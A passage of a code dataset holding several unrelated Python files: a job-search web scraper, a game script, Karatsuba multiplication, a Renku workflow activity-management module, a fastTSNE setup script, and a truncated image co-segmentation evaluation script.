variables\r\njob_title = ''\r\njob_location = ''\r\njob_radius = ''\r\ndoc = docx.Document()\r\noutput_file = 'jobsearch.docx'\r\n\r\ndef get_results(url, tag_ID, tag_type, tag_class):\r\n page = requests.get(url)\r\n soup = BeautifulSoup(page.content, 'html.parser')\r\n results = soup.find(id=tag_ID)\r\n job_elems= results.find_all(tag_type, class_=tag_class)\r\n return job_elems\r\n\r\ndef format_location(site, user_input):\r\n if re.search(r\"\\s\", user_input):\r\n if site=='Monster':\r\n job_title = user_input.replace(\" \", \"-\")\r\n elif site=='Indeed':\r\n job_title = user_input.replace(\" \", \"+\")\r\n elif site=='LinkedIn':\r\n job_title = user_input.replace(\" \", \"%2B\")\r\n else:\r\n job_title = user_input\r\n return job_title\r\n\r\ndef check_for_digits(input_string):\r\n return bool(re.search(r'\\d', input_string))\r\n\r\ndef get_input():\r\n global job_title\r\n global job_location\r\n global job_radius\r\n is_valid=False\r\n while(is_valid==False):\r\n is_valid=False\r\n while(is_valid==False):\r\n print('Enter the type of job to look for: ')\r\n job_title = input()\r\n if check_for_digits(job_title):\r\n print('Enter a valid job title without digits!!!\\n')\r\n continue\r\n\r\n print('Enter which city you would like to search in: ')\r\n job_location = input()\r\n if check_for_digits(job_location):\r\n print('Enter a valid location without digits!!!\\n')\r\n continue\r\n\r\n print('Enter the number of miles for the search radius: ')\r\n job_radius = input()\r\n if job_radius.isdigit()==False:\r\n print('Enter a radius in the form of an integer!!!\\n')\r\n continue\r\n\r\n is_valid=True\r\n\r\nget_input()\r\n#monsterURL = 'https://www.monster.com/jobs/search/?q=CyberSecurity&where=St.-Louis'\r\nmonsterURL = '''https://www.monster.com/jobs/search/?q={title}&where={city}'''.format(title=job_title, city=format_location('Monster', job_location))\r\n\r\n#indeedURL = 'https://www.indeed.com/jobs?q=CyberSecurity&l=St.+Louis%2C+MO&radius=50'\r\nindeedURL = '''https://www.indeed.com/jobs?q={title}&l={city}&radius={radius}'''.format(title=job_title, city=format_location('Indeed', job_location), radius=job_radius)\r\n\r\n#linkedinURL = 'https://www.linkedin.com/jobs/search?keywords=CyberSecurity&location=St.%2BLouis%2C%2BMissouri&distance=50&f_TP=1&redirect=false&position=1&pageNum=0'\r\nlinkedinURL = '''https://www.linkedin.com/jobs/search?keywords={title}&location={city}&distance={radius}&f_TP=1&redirect=false&position=1&pageNum=0'''.format(title=job_title, city=format_location('LinkedIn', job_location), radius=job_radius)\r\n\r\nmonster_job_elems = get_results(monsterURL, 'ResultsContainer', 'section', 'card-content')\r\nindeed_job_elems = get_results(indeedURL, 'resultsCol', 'div', 'jobsearch-SerpJobCard')\r\nlinkedin_job_elems = get_results(linkedinURL, 'main-content', 'li', 'job-result-card')\r\n\r\n\r\n##############Write Monster jobs to doc\r\ndoc.add_paragraph('Monster Job Search Query: ' + monsterURL)\r\n\r\nif len(monster_job_elems)==0:\r\n doc.add_paragraph('No Monster Jobs found matching search criteria!\\n')\r\n\r\nfor job_elem in monster_job_elems:\r\n title_elem = job_elem.find('h2', class_='title')\r\n company_elem = job_elem.find('div', class_='company')\r\n location_elem = job_elem.find('div', class_='location')\r\n elem_list = [title_elem, company_elem, location_elem]\r\n links = []\r\n for link in job_elem.find_all('a'):\r\n links.append(link.get('href'))\r\n\r\n for elem in elem_list:\r\n try:\r\n doc.add_paragraph(elem.text.strip())\r\n except AttributeError as error:\r\n continue\r\n\r\n for link in links:\r\n doc.add_paragraph(link)\r\n\r\n doc.add_paragraph('\\n')\r\n\r\n##############Write Indeed jobs to doc\r\ndoc.add_paragraph('Indeed Job Search Query: ' + indeedURL)\r\n\r\nif len(indeed_job_elems)==0:\r\n doc.add_paragraph('No Indeed Jobs found matching search criteria!\\n')\r\n\r\nfor job_elem in indeed_job_elems:\r\n title_elem = job_elem.find('a', class_='jobtitle')\r\n company_elem = job_elem.find('span', class_='company')\r\n location_elem = job_elem.find('div', class_='location')\r\n salary_elem = job_elem.find('span', class_='salaryText')\r\n elem_list = [title_elem, company_elem, location_elem, salary_elem]\r\n links = []\r\n for link in job_elem.find_all('a'):\r\n link.append(link.get('href'))\r\n\r\n for elem in elem_list:\r\n try:\r\n doc.add_paragraph(elem.text.strip())\r\n except AttributeError as error:\r\n continue\r\n\r\n for link in links:\r\n doc.add_paragraph(str(link))\r\n\r\n doc.add_paragraph('\\n')\r\n\r\n\r\n##############Write LinkedIn jobs to doc\r\ndoc.add_paragraph('LinkedIn Job Search Query: ' + linkedinURL)\r\n\r\nif len(linkedin_job_elems)==0:\r\n doc.add_paragraph('No Jobs found matching search criteria!\\n')\r\n\r\nfor job_elem in linkedin_job_elems:\r\n title_elem = job_elem.find('h3', class_='result-card__title')\r\n company_elem = job_elem.find('h4', class_='result-card__subtitle')\r\n location_elem = job_elem.find('span', class_='job-result-card__location')\r\n elem_list = [title_elem, company_elem, location_elem]\r\n links = []\r\n for link in job_elem.find_all('a'):\r\n links.append(link.get('href'))\r\n\r\n for elem in elem_list:\r\n try:\r\n doc.add_paragraph(elem.text.strip())\r\n except AttributeError as error:\r\n continue\r\n\r\n for link in links:\r\n doc.add_paragraph(link)\r\n \r\n doc.add_paragraph('\\n')\r\n\r\n###########Add job count to doc\r\njobs = len(monster_job_elems) + len(indeed_job_elems) + len(linkedin_job_elems)\r\ndoc.add_paragraph('Jobs: '+ str(jobs))\r\ndoc.save(output_file)","sub_path":"webscraper.py","file_name":"webscraper.py","file_ext":"py","file_size_in_byte":6266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"513914513","text":"from . import cannons, menu, audio\nimport random\n\n\nNUMBER_OF_CANNONS = [1, 1, 1, 1, 1, 1, 1, 2, 2, 2]\n\nFIRE_DURATION = 1\n\nPAUSE = menu.pause_callback\n\ndef play_round(in_q):\n cannon_quantity = random.choice(NUMBER_OF_CANNONS)\n cannon_list = [1, 2, 3, 4, 5, 6]\n choosen_cannons = []\n for x in range(cannon_quantity):\n cannon = random.choice(cannon_list)\n choosen_cannons.append(cannon)\n cannon_list.remove(cannon)\n PAUSE(in_q, 'game')\n announce_round(in_q, 'wait')\n choosen_cannons = cannons.Cannon(choosen_cannons, FIRE_DURATION)\n fire_tease(in_q)\n choosen_cannons.fire()\n\ndef fire_tease(in_q):\n clips = ['gameover', 'kraken', 'redalert', \n 'lucky', 'turret-target', 'firewhenready']\n clip = audio.play(random.choice(clips), 2)\n while clip.get_busy():\n PAUSE(in_q, 'game', clip=clip)\n clip.unpause()\n continue\n\n\ndef announce_round(in_q, round):\n if round == 'wait':\n clip = audio.play('ticktock', 2)\n else:\n clip = audio.play('r{}'.format(round), 2)\n while clip.get_busy():\n PAUSE(in_q, 'game', clip=clip)\n clip.unpause()\n continue\n\ndef play(in_q):\n rounds = 1\n start = audio.play('duckhunt', 2)\n while start.get_busy():\n PAUSE(in_q, 'game', clip=start)\n start.unpause()\n continue\n while rounds < 11:\n announce_round(in_q, rounds)\n play_round(in_q)\n rounds += 1\n menu.MENU.reset()","sub_path":"water_roulette/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"502843436","text":"from sys import stdin\r\nfrom operator import itemgetter\r\nfirst = True\r\nmyList = []\r\n\r\nfor x in stdin:\r\n if first:\r\n first = False\r\n else:\r\n myList.append([int(a) for a in x.rstrip().split()])\r\n\r\ninvest = 1\r\nlastHour = 0\r\ng = 49\r\nnotSecond = False\r\n\r\nmyList.sort(key = itemgetter(0))\r\nfor x in myList:\r\n if x[1] < g:\r\n if notSecond:\r\n invest *= pow(2, (x[0] - lastHour)/g)\r\n else:\r\n notSecond = True\r\n\r\n g = x[1]\r\n lastHour = x[0]\r\n\r\n \r\ninvest *= pow(2, (24 - lastHour)/g)\r\nprint(invest)\r\n\r\n","sub_path":"Investor-MEDIUM-no_desc.py","file_name":"Investor-MEDIUM-no_desc.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"236230767","text":"import math\n\ndef zeroPad(numberString, zeros, left = True):\n \"\"\"Return the string with zeros added to the left or right.\"\"\"\n for i in range(zeros):\n if left:\n numberString = '0' + numberString\n else:\n numberString = numberString + '0'\n return numberString\n\ndef karatsubaMultiplication(x ,y):\n \"\"\"Multiply two integers using Karatsuba's algorithm.\"\"\"\n #convert to strings for easy access to digits\n #base case for recursion\n if len(x) == 1 and len(y) == 1:\n return int(x) * int(y)\n if len(x) < len(y):\n x = zeroPad(x, len(y) - len(x))\n elif len(y) < len(x):\n y = zeroPad(y, len(x) - len(y))\n n = len(x)\n j = n//2\n #for odd digit integers\n if (n % 2) != 0:\n j += 1 \n BZeroPadding = n - j\n AZeroPadding = BZeroPadding * 2\n a = x[:j]\n b = x[j:]\n c = y[:j]\n d = y[j:]\n #recursively calculate\n ac = karatsubaMultiplication(a, c)\n bd = karatsubaMultiplication(b, d)\n k = karatsubaMultiplication(str(int(a) + int(b)), str(int(c) + int(d)))\n A = int(zeroPad(str(ac), AZeroPadding, False))\n B = int(zeroPad(str(k - ac - bd), BZeroPadding, False))\n return A + B + bd\n\nprint(karatsubaMultiplication(\"100\",\"1233\"))","sub_path":"multiplication.py","file_name":"multiplication.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"86493015","text":"#\n# Copyright 2017-2023 - Swiss Data Science Center (SDSC)\n# A partnership between École Polytechnique Fédérale de Lausanne (EPFL) and\n# Eidgenössische Technische Hochschule Zürich (ETHZ).\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Activity management.\"\"\"\n\nimport itertools\nimport os\nfrom collections import defaultdict\nfrom pathlib import Path\nfrom typing import Dict, FrozenSet, Iterable, List, NamedTuple, Optional, Set, Tuple\n\nimport networkx\nfrom pydantic import validate_arguments\n\nfrom renku.command.command_builder import inject\nfrom renku.core import errors\nfrom renku.core.interface.activity_gateway import IActivityGateway\nfrom renku.core.util import communication\nfrom renku.core.workflow.plan import get_activities, is_plan_removed, remove_plan\nfrom renku.domain_model.entity import Entity\nfrom renku.domain_model.project_context import project_context\nfrom renku.domain_model.provenance.activity import Activity, Usage\n\n\ndef get_activities_until_paths(\n paths: List[str], sources: List[str], activity_gateway: IActivityGateway, revision: Optional[str] = None\n) -> Set[Activity]:\n \"\"\"Get all current activities leading to `paths`, from `sources`.\"\"\"\n all_activities: Dict[str, Set[Activity]] = defaultdict(set)\n\n def include_newest_activity(activity):\n existing_activities = all_activities[activity.association.plan.id]\n add_activity_if_recent(activity=activity, activities=existing_activities)\n\n repository = project_context.repository\n commit = None\n\n if revision:\n commit = repository.get_commit(revision)\n\n for path in paths:\n checksum = None\n if commit:\n try:\n blob = commit.tree[path]\n except KeyError:\n raise errors.GitError(f\"Couldn't find file {path} at revision {revision}\")\n checksum = blob.hexsha\n\n activities = activity_gateway.get_activities_by_generation(path, checksum=checksum)\n\n if len(activities) == 0:\n communication.warn(f\"Path '{path}' is not generated by any workflows.\")\n continue\n\n latest_activity = max(activities, key=lambda a: a.ended_at_time)\n\n upstream_chains = activity_gateway.get_upstream_activity_chains(latest_activity)\n\n if sources:\n # NOTE: Add the activity to check if it also matches the condition\n upstream_chains.append((latest_activity,))\n # NOTE: Only include paths that is using at least one of the sources\n upstream_chains = [c for c in upstream_chains if any(u.entity.path in sources for u in c[-1].usages)]\n\n # NOTE: Include activity only if any of its upstream match the condition\n if upstream_chains:\n include_newest_activity(latest_activity)\n else:\n include_newest_activity(latest_activity)\n\n for chain in upstream_chains:\n for activity in chain:\n include_newest_activity(activity)\n\n return {a for activities in all_activities.values() for a in activities}\n\n\ndef create_activity_graph(\n activities: List[Activity],\n remove_overridden_parents=True,\n with_inputs_outputs=False,\n with_hidden_dependencies: bool = False,\n) -> networkx.Graph:\n \"\"\"Create a dependency DAG from activities.\"\"\"\n by_usage: Dict[str, Set[Activity]] = defaultdict(set)\n by_generation: Dict[str, Set[Activity]] = defaultdict(set)\n\n overridden_activities: Dict[Activity, Set[str]] = defaultdict(set)\n\n graph = networkx.DiGraph()\n\n def connect_nodes_based_on_dependencies():\n for activity in activities:\n # NOTE: Make sure that activity is in the graph in case it has no connection to others\n graph.add_node(activity)\n if with_inputs_outputs:\n create_input_output_edges(activity)\n\n collection = (\n itertools.chain(activity.usages, activity.hidden_usages)\n if with_hidden_dependencies\n else activity.usages\n )\n for usage in collection:\n path = usage.entity.path\n by_usage[path].add(activity)\n parent_activities = by_generation[path]\n for parent in parent_activities:\n create_edge(parent, activity, path)\n\n for generation in activity.generations:\n path = generation.entity.path\n by_generation[path].add(activity)\n child_activities = by_usage[path]\n for child in child_activities:\n create_edge(activity, child, path)\n\n def create_input_output_edges(activity):\n for generation in activity.generations:\n path = generation.entity.path\n if not graph.has_node(path):\n graph.add_node(path)\n if not graph.has_edge(activity, path):\n graph.add_edge(activity, path)\n collection = (\n itertools.chain(activity.usages, activity.hidden_usages) if with_hidden_dependencies else activity.usages\n )\n for usage in collection:\n path = usage.entity.path\n if not graph.has_node(path):\n graph.add_node(path)\n if not graph.has_edge(path, activity):\n graph.add_edge(path, activity)\n\n def create_edge(parent, child, path: str):\n if with_inputs_outputs:\n if not graph.has_edge(parent, path):\n graph.add_edge(parent, path)\n if not graph.has_edge(path, child):\n graph.add_edge(path, child)\n else:\n if graph.has_edge(parent, child):\n return\n graph.add_edge(parent, child, path=path)\n\n def connect_nodes_by_execution_order():\n for path, values in by_generation.items():\n if len(values) <= 1:\n continue\n\n # NOTE: Order multiple activities that generate a common path\n create_order_among_activities(values, path)\n\n def create_order_among_activities(activities: Set[Activity], path):\n for a, b in itertools.combinations(activities, 2):\n if (networkx.has_path(graph, a, b) and path in overridden_activities[a]) or (\n networkx.has_path(graph, b, a) and path in overridden_activities[b]\n ):\n continue\n\n # NOTE: More recent activity should be executed after the other one\n # NOTE: This won't introduce a cycle in the graph because there is no other path between the two nodes\n comparison = a.compare_to(b)\n if comparison < 0:\n if not networkx.has_path(graph, a, b):\n graph.add_edge(a, b)\n overridden_activities[a].add(path)\n elif comparison > 0:\n if not networkx.has_path(graph, b, a):\n graph.add_edge(b, a)\n overridden_activities[b].add(path)\n else:\n raise ValueError(f\"Cannot create an order between activities that generate '{path}': {a} and {b}\")\n\n def remove_overridden_activities():\n to_be_removed = set()\n to_be_processed = set(overridden_activities.keys())\n\n while len(to_be_processed) > 0:\n activity = to_be_processed.pop()\n overridden_paths = overridden_activities[activity]\n generated_path = {g.entity.path for g in activity.generations}\n if generated_path != overridden_paths:\n continue\n\n # NOTE: All generated paths are overridden; there is no point in executing the activity\n to_be_removed.add(activity)\n\n if not remove_overridden_parents:\n continue\n\n # NOTE: Check if its parents can be removed as well\n for parent in graph.predecessors(activity):\n if parent in to_be_removed:\n continue\n data = graph.get_edge_data(parent, activity)\n if data and \"path\" in data:\n overridden_activities[parent].add(data[\"path\"])\n to_be_processed.add(parent)\n\n for activity in to_be_removed:\n graph.remove_node(activity)\n\n connect_nodes_based_on_dependencies()\n\n cycles = list(networkx.algorithms.cycles.simple_cycles(graph))\n\n if cycles:\n cycles = [map(lambda x: getattr(x, \"id\", x), cycle) for cycle in cycles]\n raise errors.GraphCycleError(cycles)\n\n connect_nodes_by_execution_order()\n remove_overridden_activities()\n\n return graph\n\n\ndef sort_activities(activities: List[Activity], remove_overridden_parents=True) -> List[Activity]:\n \"\"\"Return a sorted list of activities based on their dependencies and execution order.\"\"\"\n graph = create_activity_graph(activities, remove_overridden_parents)\n\n return list(networkx.topological_sort(graph))\n\n\nclass ModifiedActivitiesEntities(NamedTuple):\n \"\"\"A class containing sets of modified/deleted activities and entities for both normal and hidden entities.\"\"\"\n\n modified: Set[Tuple[Activity, Entity]]\n \"\"\"Set of modified activity and entity tuples.\"\"\"\n\n deleted: Set[Tuple[Activity, Entity]]\n \"\"\"Set of deleted activity and entity tuples.\"\"\"\n\n hidden_modified: Set[Tuple[Activity, Entity]]\n \"\"\"Set of modified activity and entity tuples for hidden entities.\"\"\"\n\n\n@inject.autoparams(\"activity_gateway\")\ndef get_all_modified_and_deleted_activities_and_entities(\n repository, activity_gateway: IActivityGateway, check_hidden_dependencies: bool = False\n) -> ModifiedActivitiesEntities:\n \"\"\"\n Return latest activities with at least one modified or deleted input along with the modified/deleted input entity.\n\n An activity can be repeated if more than one of its inputs are modified.\n\n Args:\n repository: The current ``Repository``.\n activity_gateway(IActivityGateway): The injected Activity gateway.\n\n Returns:\n ModifiedActivitiesEntities: Modified and deleted activities and entities.\n\n \"\"\"\n all_activities = activity_gateway.get_all_activities()\n relevant_activities = filter_overridden_activities(all_activities)\n return get_modified_activities(\n activities=relevant_activities, repository=repository, check_hidden_dependencies=check_hidden_dependencies\n )\n\n\n@inject.autoparams()\ndef get_downstream_generating_activities(\n starting_activities: Set[Activity],\n paths: List[str],\n ignore_deleted: bool,\n project_path: Path,\n activity_gateway: IActivityGateway,\n) -> List[Activity]:\n \"\"\"Return activities downstream of passed activities that generate at least a path in ``paths``.\n\n Args:\n starting_activities(Set[Activity]): Activities to use as starting/upstream nodes.\n paths(List[str]): Optional generated paths to end downstream chains at.\n ignore_deleted(bool): Whether to ignore deleted generations.\n project_path(Path): Path to project's root directory.\n activity_gateway(IActivityGateway): The injected Activity gateway.\n\n Returns:\n Set[Activity]: All activities and their downstream activities.\n\n \"\"\"\n all_activities: Dict[str, Set[Activity]] = defaultdict(set)\n\n def include_newest_activity(activity):\n existing_activities = all_activities[activity.association.plan.id]\n add_activity_if_recent(activity=activity, activities=existing_activities)\n\n def does_activity_generate_any_paths(activity) -> bool:\n is_same = any(g.entity.path in paths for g in activity.generations)\n is_parent = any(Path(p) in Path(g.entity.path).parents for p in paths for g in activity.generations)\n\n return is_same or is_parent\n\n def has_an_existing_generation(activity) -> bool:\n for generation in activity.generations:\n if (project_path / generation.entity.path).exists():\n return True\n\n return False\n\n for starting_activity in starting_activities:\n downstream_chains = activity_gateway.get_downstream_activity_chains(starting_activity)\n\n if paths:\n # NOTE: Add the activity to check if it also matches the condition\n downstream_chains.append((starting_activity,))\n downstream_chains = [c for c in downstream_chains if does_activity_generate_any_paths(c[-1])]\n # NOTE: Include activity only if any of its downstream matched the condition\n include_starting_activity = len(downstream_chains) > 0\n elif ignore_deleted: # NOTE: Excluded deleted generations only if they are not passed in ``paths``\n # NOTE: Add the activity to check if it also matches the condition\n downstream_chains.append((starting_activity,))\n downstream_chains = [c for c in downstream_chains if has_an_existing_generation(c[-1])]\n # NOTE: Include activity only if any of its downstream matched the condition\n include_starting_activity = len(downstream_chains) > 0\n else:\n include_starting_activity = True\n\n if include_starting_activity:\n include_newest_activity(starting_activity)\n\n for chain in downstream_chains:\n for activity in chain:\n if not is_activity_valid(activity):\n # don't process further downstream activities as the plan in question was deleted\n break\n include_newest_activity(activity)\n\n return list({a for activities in all_activities.values() for a in activities})\n\n\ndef get_modified_activities(\n activities: FrozenSet[Activity], repository, check_hidden_dependencies: bool\n) -> ModifiedActivitiesEntities:\n \"\"\"Get lists of activities that have modified/deleted usage entities.\"\"\"\n\n def get_modified_activities_helper(hashes, modified, deleted, hidden: bool):\n for activity in activities:\n collection: List[Usage] = activity.hidden_usages if hidden else activity.usages # type: ignore\n for usage in collection:\n entity = usage.entity\n current_checksum = hashes.get(entity.path, None)\n usage_path = repository.path / usage.entity.path\n if current_checksum is None or not usage_path.exists():\n deleted.add((activity, entity))\n elif current_checksum != entity.checksum:\n modified.add((activity, entity))\n\n modified: Set[Tuple[Activity, Entity]] = set()\n deleted: Set[Tuple[Activity, Entity]] = set()\n hidden_modified: Set[Tuple[Activity, Entity]] = set()\n\n paths = []\n hidden_paths = []\n\n for activity in activities:\n for usage in activity.usages:\n paths.append(usage.entity.path)\n if check_hidden_dependencies:\n for usage in activity.hidden_usages:\n hidden_paths.append(usage.entity.path)\n\n hashes = repository.get_object_hashes(paths=paths)\n get_modified_activities_helper(hashes=hashes, modified=modified, deleted=deleted, hidden=False)\n\n if check_hidden_dependencies and hidden_paths:\n hashes = repository.get_object_hashes(paths=hidden_paths)\n get_modified_activities_helper(hashes=hashes, modified=hidden_modified, deleted=set(), hidden=True)\n\n return ModifiedActivitiesEntities(modified=modified, deleted=deleted, hidden_modified=hidden_modified)\n\n\ndef filter_overridden_activities(activities: List[Activity]) -> FrozenSet[Activity]:\n \"\"\"Filter out overridden activities from a list of activities.\"\"\"\n relevant_activities: Dict[FrozenSet[str], Activity] = {}\n\n for activity in activities[::-1]:\n outputs = frozenset(g.entity.path for g in activity.generations)\n\n subset_of = set()\n superset_of = set()\n\n for o, a in relevant_activities.items():\n if outputs.issubset(o):\n subset_of.add((o, a))\n elif outputs.issuperset(o):\n superset_of.add((o, a))\n\n if not subset_of and not superset_of:\n relevant_activities[outputs] = activity\n continue\n\n if subset_of and any(activity.ended_at_time < a.ended_at_time for _, a in subset_of):\n # activity is a subset of another, newer activity, ignore it\n continue\n\n older_subsets = [o for o, a in superset_of if activity.ended_at_time > a.ended_at_time]\n\n for older_subset in older_subsets:\n # remove other activities that this activity is a superset of\n del relevant_activities[older_subset]\n\n relevant_activities[outputs] = activity\n\n return frozenset(relevant_activities.values())\n\n\ndef add_activity_if_recent(activity: Activity, activities: Set[Activity]):\n \"\"\"Add ``activity`` to ``activities`` if it's not in the set or is the latest executed instance.\n\n Remove existing activities that were executed earlier.\n \"\"\"\n if activity in activities:\n return\n\n for existing_activity in activities:\n if activity.has_identical_inputs_and_outputs_as(existing_activity):\n if activity.ended_at_time > existing_activity.ended_at_time: # activity is newer\n activities.remove(existing_activity)\n activities.add(activity)\n return\n\n # NOTE: No similar activity was found\n activities.add(activity)\n\n\ndef get_latest_activity(activities: Iterable[Activity]) -> Optional[Activity]:\n \"\"\"Return the activity that was executed after all other activities.\"\"\"\n return max(activities, key=lambda a: a.ended_at_time) if activities else None\n\n\ndef get_latest_activity_before(activities: Iterable[Activity], activity: Activity) -> Optional[Activity]:\n \"\"\"Return the latest activity that was executed before the passed activity.\"\"\"\n activities_before = [a for a in activities if a.ended_at_time <= activity.ended_at_time and a.id != activity.id]\n return get_latest_activity(activities_before)\n\n\n@inject.autoparams(\"activity_gateway\")\n@validate_arguments(config=dict(arbitrary_types_allowed=True))\ndef revert_activity(\n *, activity_gateway: IActivityGateway, activity_id: str, delete_plan: bool, force: bool, metadata_only: bool\n) -> Activity:\n \"\"\"Revert an activity.\n\n Args:\n activity_gateway(IActivityGateway): The injected activity gateway.\n activity_id(str): ID of the activity to be reverted.\n delete_plan(bool): Delete the plan if it's not used by any other activity.\n force(bool): Revert the activity even if it has some downstream activities.\n metadata_only(bool): Only revert the metadata and don't touch generated files.\n\n Returns:\n The deleted activity.\n \"\"\"\n repository = project_context.repository\n\n def delete_associated_plan(activity):\n if not delete_plan:\n return\n\n plan = activity.association.plan\n\n used_by_other_activities = any(a for a in get_activities(plan) if a.id != activity.id)\n if used_by_other_activities:\n return\n\n remove_plan(name_or_id=plan.id, force=True)\n\n def revert_generations(activity) -> Tuple[Set[str], Set[str]]:\n \"\"\"Either revert each generation to an older version (created by an earlier activity) or delete it.\"\"\"\n deleted_paths = set()\n updated_paths: Dict[str, str] = {}\n\n if metadata_only:\n return set(), set()\n\n for generation in activity.generations:\n path = generation.entity.path\n\n generator_activities = activity_gateway.get_activities_by_generation(path=path)\n generator_activities = [a for a in generator_activities if is_activity_valid(a) and not a.deleted]\n latest_generator = get_latest_activity(generator_activities)\n if latest_generator != activity: # NOTE: A newer activity already generated the same path\n continue\n\n previous_generator = get_latest_activity_before(generator_activities, activity)\n\n if previous_generator is None: # NOTE: The activity is the only generator\n # NOTE: Delete the path if there are no downstreams otherwise keep it\n downstream_activities = activity_gateway.get_activities_by_usage(path)\n if not downstream_activities:\n deleted_paths.add(path)\n elif not force:\n raise errors.ActivityDownstreamNotEmptyError(activity)\n else: # NOTE: There is a previous generation of that path, so, revert to it\n previous_generation = next(g for g in previous_generator.generations if g.entity.path == path)\n updated_paths[path] = previous_generation.entity.checksum\n\n for path, previous_checksum in updated_paths.items():\n try:\n repository.copy_content_to_file(path, checksum=previous_checksum, output_path=path)\n except errors.FileNotFound:\n communication.warn(f\"Cannot revert '{path}' to a previous version, will keep the current version\")\n\n for path in deleted_paths:\n try:\n os.unlink(project_context.path / path)\n except OSError:\n communication.warn(f\"Cannot delete '{path}'\")\n\n return deleted_paths, set(updated_paths.keys())\n\n activity = activity_gateway.get_by_id(activity_id)\n\n if activity is None:\n raise errors.ParameterError(f\"Cannot find activity with ID '{activity}'\")\n if activity.deleted:\n raise errors.ParameterError(f\"Activity with ID '{activity}' is already deleted\")\n\n # NOTE: The order of removal is important here so don't change it\n delete_associated_plan(activity)\n revert_generations(activity)\n activity_gateway.remove(activity, force=force)\n # NOTE: Delete the activity after processing metadata or otherwise we won't see the activity as the latest generator\n activity.delete()\n\n return activity\n\n\ndef is_activity_valid(activity: Activity) -> bool:\n \"\"\"Return whether this plan has not been deleted.\n\n Args:\n activity(Activity): The Activity whose Plan should be checked.\n\n Returns:\n bool: True if the activities' Plan is still valid, False otherwise.\n \"\"\"\n return not is_plan_removed(plan=activity.association.plan)\n","sub_path":"renku/core/workflow/activity.py","file_name":"activity.py","file_ext":"py","file_size_in_byte":22713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"628975126","text":"import os\nimport sys\nfrom setuptools import setup, Extension\n\nimport setuptools\n\ntry:\n import numpy\nexcept ImportError:\n from subprocess import call\n call(['pip', 'install', 'numpy'])\n\nimport numpy as np\n\nUSE_CYTHON = os.environ.get('USE_CYTHON', False)\next = 'pyx' if USE_CYTHON else 'c'\n\nIS_WINDOWS = sys.platform.startswith('win')\nopenmp_opt = '/openmp' if IS_WINDOWS else '-fopenmp'\noptim_opt = '/O3' if IS_WINDOWS else '-O3'\n\nextensions = [\n Extension('fastTSNE.quad_tree', ['fastTSNE/quad_tree.%s' % ext],\n extra_compile_args=[openmp_opt, optim_opt],\n extra_link_args=[openmp_opt, optim_opt],\n include_dirs=[np.get_include()],\n ),\n Extension('fastTSNE._tsne', ['fastTSNE/_tsne.%s' % ext],\n extra_compile_args=[openmp_opt, optim_opt],\n extra_link_args=[openmp_opt, optim_opt],\n include_dirs=[np.get_include()],\n ),\n Extension('fastTSNE.kl_divergence', ['fastTSNE/kl_divergence.%s' % ext],\n extra_compile_args=[openmp_opt, optim_opt],\n extra_link_args=[openmp_opt, optim_opt],\n include_dirs=[np.get_include()],\n ),\n]\n\nif USE_CYTHON:\n from Cython.Build import cythonize\n\n extensions = cythonize(extensions)\n\nsetup(\n name='fastTSNE',\n description='',\n license='BSD-3-Clause',\n author='Pavlin Poličar',\n author_email='pavlin.g.p@gmail.com',\n version='0.2.10',\n url='https://github.com/pavlin-policar/fastTSNE',\n packages=setuptools.find_packages(),\n ext_modules=extensions,\n install_requires=[\n 'numpy>1.14',\n 'numba>=0.38.1',\n 'scikit-learn>=0.19,<0.19.99',\n 'scipy',\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"576255024","text":"import cv2\r\nimport os\r\nimport numpy as np\r\nimport torch\r\nfrom torch.autograd import Variable\r\nfrom libs.models import *\r\nimport torch.nn.functional as F\r\nimport glob\r\nfrom libs.utils import scores\r\nfrom libs.utils import vis\r\nfrom PIL import Image\r\n\r\nsave_dir = './result/internet_result' #dir to segmentation result\r\nif not os.path.exists(save_dir):\r\n\tos.mkdir(save_dir)\r\nimage_root = '/home1/whc/internet/' # dir to internet dataset\r\nimage_dir_list = glob.glob(image_root + 'Data/*100')\r\n\r\n########################## loading model ###########################\r\nmodel = MSC_MCANet()\r\nstate_dict = torch.load(\"MCA_res101_40000.pth\", map_location=lambda storage, loc: storage)\r\nmodel.load_state_dict(state_dict)\r\nmodel.eval()\r\nmodel.cuda()\r\n\r\nscore_list = [] # list to store metric for each class\r\nfor one_dir in image_dir_list:\r\n\tone_class_name = one_dir.split('/')[-1]\r\n\r\n\tpreds, gts = [], []\r\n\t\r\n\r\n\timage_list = glob.glob(one_dir + '/*.jpg')\r\n\timage_list.sort()\r\n\r\n\tanno_list = glob.glob(one_dir + '/GroundTruth/*')\r\n\tanno_list.sort()\r\n\r\n\r\n\t############### image preprocess ################\r\n\tInput_set = []\r\n\tfor i,one_image in enumerate(image_list):\r\n\t\timg_ = cv2.imread(one_image).astype(np.float32)\r\n\t\timg_ = cv2.resize(img_,(321,321))\r\n\r\n\t\timg = img_.copy()\r\n\r\n\t\timg -= np.array([104.008,116.669,122.675])\r\n\r\n\t\timg = img.transpose(2,0,1)\r\n\r\n\t\timg = Variable(torch.Tensor(img)).unsqueeze(0)\r\n\t\tInput_set.append(img.cuda())\r\n\r\n\t############### initial channel message-passing ############\r\n\twith torch.no_grad():\r\n\t\tFC_list,F_list,CI_list = model.initial_C_msg_passing(Input_set)\r\n\r\n\t################## spatial message-passing #################\r\n\twith torch.no_grad():\r\n\t\tS_list,b_list,FCS_list = model.S_msg_passing(FC_list,F_list)\r\n\r\n\t#################progressive message-passing ###############\r\n\twith 